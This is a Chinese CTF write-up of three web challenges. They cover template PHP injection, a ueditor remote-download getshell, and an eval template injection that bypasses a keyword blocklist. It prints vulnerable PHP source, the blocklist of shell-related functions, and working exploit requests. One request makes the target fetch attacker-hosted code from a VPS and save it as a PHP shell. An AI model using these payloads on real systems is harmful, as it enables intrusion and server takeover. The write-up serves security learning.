CTF Web安全

赛博杯招新赛 Web 0Day题解

Posted on 2020-07-28,5 min read

这比赛学到很多。i了i了

Hacked_By_V

后台模板管理处插入php标签。然后直接访问前台对应的渲染模板

得到绝对路径

写shell

Web根目录。读取flag一把梭

Hacked_By_Wendell

远程文件下载getshell。。Nday了。。19年爆出的洞
https://www.cnblogs.com/admans/p/11947507.html
在插件目录下。ueditor的控制器中。有文件上传等功能。并且能未授权访问


追踪safe_url

function safe_url( $s, $len=255) {
    preg_match_all('/[a-zA-Z0-9,.:=@?_\/\s]/u',$s,$result);
    $temp =join('',$result[0]);     
    $s = substr( $temp, 0, $len );
	return $s;
}

url中只能出现a-zA-Z0-9和?@=这些字符
然后继续看down_url函数。

function down_url( $url, $save_dir='file', $filename = '', $type = 0 ) {
	if ( is_null( $url ) ) return array( 'msg' => '内容为空', 'state' => 'ERROR',  'error' => 1 );
	$save_dir = SITE_DIR.conf('uploadpath').$save_dir.'/';
	//自定义保存路径
	if ( trim( $filename ) == '' ) { 	
	//调用down_url函数没指定filename时。根据url来得到filename和fileext
		$filename = file_name( $url );
		$file_ext = file_ext( $url );
	}else{		
		$file_ext = file_ext( $url );
	}
    if(empty($file_ext)) return array( 'msg' => '创建文件失败,禁止创建空文件!', 'state' => 'ERROR','error' => 5 );
    $allext=conf('imageext').conf('fileext').conf('videoext');
	//后缀名限制
	if(!in_array($file_ext,splits($allext,','))){
		return array( 'msg' => '创建文件失败,禁止创建'.$file_ext.'文件!', 'state' => 'ERROR',  'error' => 5 );
	}
	if ( !file_exists( $save_dir ) && !mkdir( $save_dir, 0777, true ) ) {
		return array( 'msg' => '创建文件夹失败', 'state' => 'ERROR',  'error' => 5 );
	}
	$file_dir = $save_dir . $filename;
	//设置最后的文件名。注意。这里调用的是$filename。而不是$ext。这个漏洞正是由于ext和filename的差异绕过判断
	$file_path = str_replace( SITE_DIR, SITE_PATH, $file_dir );
	if ( file_exists( $file_dir ) )	del_file( $file_dir );
	//获取远程文件所采用的方法  
	if ( $type ) {
		$ch = curl_init();
		$timeout = 5;
		curl_setopt( $ch, CURLOPT_URL, $url );
		curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
		curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
		$img = curl_exec( $ch );
		curl_close( $ch );
	} else {
		ob_start();
		readfile( $url );
		$img = ob_get_contents();
		ob_end_clean();
	}
	//通过readfile去访问我们的URL
	$fp2 = @fopen( $file_dir, 'a' );
	//写入文件,内容是$img.也就是readfile访问url的内容
	fwrite( $fp2, $img );
	fclose( $fp2 );
	unset( $img, $url );
	return array('state'=> 'SUCCESS','title' => $filename, 'dir' => $file_dir, 'ext' => $file_ext, 'url' => $file_path, 'error' => 0 );
}

源码处理大致如下

1。接受action指定处理函数。然后upfolder自定义路径
2。POST一个source数组传递请求URL。然后带入file_name和file_ext处理
3。判断file_ext得到的后缀名。如果不是允许的类型就退出
4。写入文件。文件名就是URL的文件名。值就是请求文件得到的值

现在就要绕过这个后缀名限制了

经过调试。可以发现file_ext函数。将URL以?分隔。然后取第1个值。也就是http://127.0.0.1/1.jpg

然后以点截取后缀名。得到.jpg
继续看file_name函数。就是单纯的以/分隔。直接取1.jpg?1.php当文件名
这就造成了差异。

总结:
file_ext进入后缀名检测。由于是jpg。所以可以绕过后缀名检测。
然后请求htp://xxxx/1.jpg?1.php。请求的时候。会把?1.php当参数。实际请求的还是1.jpg
而写入文件时。把1.jpg?1.php当文件名。写入1.jpg的内容。这就getshell了
利用:
VPS上放1.jpg。内容为代码。然后访问http://VPS/1.jpg?1.php

exp:

plugins/ueditor/php/controller.php?action=catchimage&upfolder=guoke
source[]=http://VPS/1.jpg?1.php

dangerous-function

模板注入
全局搜索eval。在inc/zzz_template.php中parserIfLabel函数。有个if标签解析点
在parserCommom函数处调用了parserIfLabel函数

在zzz_client.php中又调用了parserCommom函数
在search/index.php中包含了zzz_client.php

在Web主页有个搜索框。搜索下。得到参数。
本地搭个环境。输出下eval的值。

然后就开始利用了。。
发现有部分字符被替换了。
找到zzz_main.php

function danger_key($s,$type='') {
	$s=empty($type) ? htmlspecialchars($s) : $s;
	$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','`','replace','flag');
	$s = str_ireplace($key,"*",$s);	
	$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','`','replace','flag');
   foreach ($danger as $val){
	   if(stripos($s,$val) !==false){
		error('很抱歉,执行出错,发现危险字符【'.$val.'】');
	  }
   }
	return $s;
}

开始利用。成功输出2

利用之前哪个比赛来着。。。用base_convert转换得到hex。然后hex2bin得到字符。show_source得到flag

Exp:

keys={if:1)show_source(hex2bin(base_convert(203581841767,10,16)));die();//}{end if}

下一篇: 安恒月赛Homebrew Dubbo→